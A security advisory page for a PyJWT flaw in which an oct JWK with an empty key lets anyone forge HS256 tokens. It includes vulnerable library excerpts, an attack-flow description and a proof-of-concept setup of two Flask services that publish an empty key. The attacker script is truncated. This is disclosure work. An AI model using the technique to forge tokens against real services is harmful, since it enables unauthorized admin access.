GitHub Advisoryadvisory · PyPI
GHSA-pxh4-856f-4h89 PyJWT: HS256/384/512 verify accepts empty HMAC key via oct JWK (PyJWK/PyJWKClient) enabling token forgery
HIGH
Official page ↗
- Ecosystem
- PyPI
- Packages
- pyjwt
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
- Weaknesses
- CWE-347
- Reviewed
- 2026-10-22
Affected packages
• PyPI pyjwt: < 2.14.0 → fixed in 2.14.0
Description
Summary
`HMACAlgorithm.from_jwk` accepts a symmetric (`kty=oct`) JWK whose `k` value is
the empty string and returns a zero-length key without raising. When a token is
then verified with that key object (a `PyJWK`, or a `PyJWK` resolved by
`PyJWKSet` / `PyJWKClient`), the HMAC verifier computes
`HMAC(key=b"", signing_input)` and accepts any token an attacker forged with the
same empty key. The attacker needs no secret knowledge: they reproduce the digest
locally with an empty key and set the token's `kid` to the empty-`k` JWK.
The empty-key rejection that `HMACAlgorithm.prepare_key` performs for
string/bytes secrets (added in 2.13.0) was never propagated to the sibling
`from_jwk` code path, so the JWK/JWKS verification route stays exploitable. Under
default decode options this path only emits an `InsecureKeyLengthWarning`, not an
error, so verification still succeeds. This is the same "empty/nil HMAC key is
accepted by verify" defect the JWT ecosystem is currently closing library-side:
fast-jwt CVE-2026-44351 (CVSS 9.1) and ruby-jwt CVE-2026-45363 both added a
library-side reject-empty-HMAC-key precondition.
Affected versions
`PyJWT` (PyPI package `pyjwt`) ` bytes:
try:
if isinstance(jwk, str):
obj: JWKDict = json.loads(jwk)
elif isinstance(jwk, dict):
obj = jwk
else:
raise ValueError
except ValueError:
raise InvalidKeyError("Key is not valid JSON") from None
if obj.get("kty") != "oct":
raise InvalidKeyError("Not an HMAC key")
return base64url_decode(obj["k"]) # b"", no rejection
```
Contrast the sibling `prepare_key`, which DID get the guard (lines 325-329):
```python
def prepare_key(self, key: str | bytes) -> bytes:
key_bytes = force_bytes(key)
if len(key_bytes) == 0:
raise InvalidKeyError("HMAC key must not be empty.")
```
In `jwt/api_jws.py`, `_verify_signature` (lines 389-416) uses the `PyJWK` key
material directly, bypassing `prepare_key`, and the length warning is non-fatal
by default:
```python
if isinstance(key, PyJWK):
if alg != key.algorithm_name:
raise InvalidAlgorithmError(
f"Token algorithm {alg!r} does not match the key's "
f"algorithm {key.algorithm_name!r}"
)
alg_obj = key.Algorithm
prepared_key = key.key # from_jwk output (b""), prepare_key not run
else:
try:
alg_obj = self.get_algorithm_by_name(alg)
except NotImplementedError as e:
raise InvalidAlgorithmError("Algorithm not supported") from e
prepared_key = alg_obj.prepare_key(key)
key_length_msg = alg_obj.check_key_length(prepared_key)
if key_length_msg:
if effective_options.get("enforce_minimum_key_length", False):
raise InvalidKeyError(key_length_msg)
else:
warnings.warn(key_length_msg, InsecureKeyLengthWarning, stacklevel=4) # default: warn only
if not alg_obj.verify(signing_input, prepared_key, signature): # verify with b"" succeeds
raise InvalidSignatureError("Signature verification failed")
```
`PyJWK.__init__` sets `self.key = self.Algorithm.from_jwk(self._jwk_data)`, so a
`{"kty":"oct","k":""}` JWK yields `PyJWK.key == b""`. `PyJWKSet` and
`PyJWKClient.get_signing_key_from_jwt` build `PyJWK` objects the same way, so the
JWKS-over-HTTP resolution route is affected identically.
The 2.13.0 release note (`CHANGELOG.rst`) documents the `prepare_key` JWK/PEM
hardening (GHSA-xgmm-8j9v-c9wx) and the `PyJWK` alg-binding fix
(GHSA-jq35-7prp-9v3f), and the test suite has
`test_hmac_prepare_key_rejects_empty_key` plus
`test_hmac_from_jwk_should_raise_exception_if_empty_json` (which tests an empty
JSON object `{}`, not an oct key with empty `k`). The empty-`k` oct case is the
untested sibling path this report closes.
How the attacker input reaches the sink
An unauthenticated HTTP client controls the bearer token entirely: its `kid`
selects the empty-`k` oct JWK, and its signature is computed locally with the
empty key. The token flows request header -> `PyJWKClient.get_signing_key_from_jwt`
(kid resolution against the trusted JWKS) -> `jwt.decode` with the resolved
`PyJWK` -> `_verify_signature` -> `HMACAlgorithm.verify(signing_input, b"", sig)`.
No secret,
credential, or prior session is required; the only server-side precondition is a
JWKS oct entry with an empty `k`, which the "unset signing secret" configuration
produces. This is the identical trust boundary the string-secret path already
guards.
Proof of concept
End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)
Two services model a standard OIDC-style deployment: an auth service publishing a
JWKS, and a protected resource server validating bearer tokens against that JWKS
with PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret
is sourced from an unset env var (`SIGNING_SECRET` unset -> `""`), so the
published oct JWK carries `k == ""`.
`idp.py` (auth service):
```python
import os, base64
from flask import Flask, jsonify
app = Flask(__name__)
SIGNING_SECRET = os.environ.get("SIGNING_SECRET", "") # UNSET at runtime -> ""
def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
@app.route("/.well-known/jwks.json")
def jwks():
return jsonify({"keys": [{
"kty": "oct", "use": "sig", "alg": "HS256",
"kid": "auth-signing-2026",
"k": b64u(SIGNING_SECRET.encode()), # empty secret -> k == ""
}]})
if __name__ == "__main__":
app.run(port=9101)
```
`api.py` (protected resource server):
```python
from flask import Flask, request, jsonify
import jwt
from jwt import PyJWKClient
app = Flask(__name__)
jwks_client = PyJWKClient("http://127.0.0.1:9101/.well-known/jwks.json")
def authenticate():
auth = request.headers.get("Authorization", "")
if not auth.startswith("Bearer "):
return None, "missing bearer token"
token = auth.split(" ", 1)[1]
try:
signing_key = jwks_client.get_signing_key_from_jwt(token) # resolves by kid
claims = jwt.decode(token, signing_key, algorithms=["HS256", "RS256"])
except Exception as e:
return None, "invalid token: %s" % type(e).__name__
return claims, None
@app.route("/api/admin/users")
def admin_users():
claims, err = authenticate()
if err:
return jsonify({"error": err}), 401
if claims.get("role") != "admin":
return jsonify({"error": "forbidden"}), 403
return jsonify({"ok": True, "action": "list_all_users",
"as_user": claims.get("sub"), "role": claims.get("role")})
if __name__ == "__main__":
app.run(port=9102)
```
`forge.py` (attacker; no secret knowledge):
```python
import hmac, hashlib, ba…
Related
Weakness · CWE (1)
- CWE-347 Improper Verification of Cryptographic Signature weakness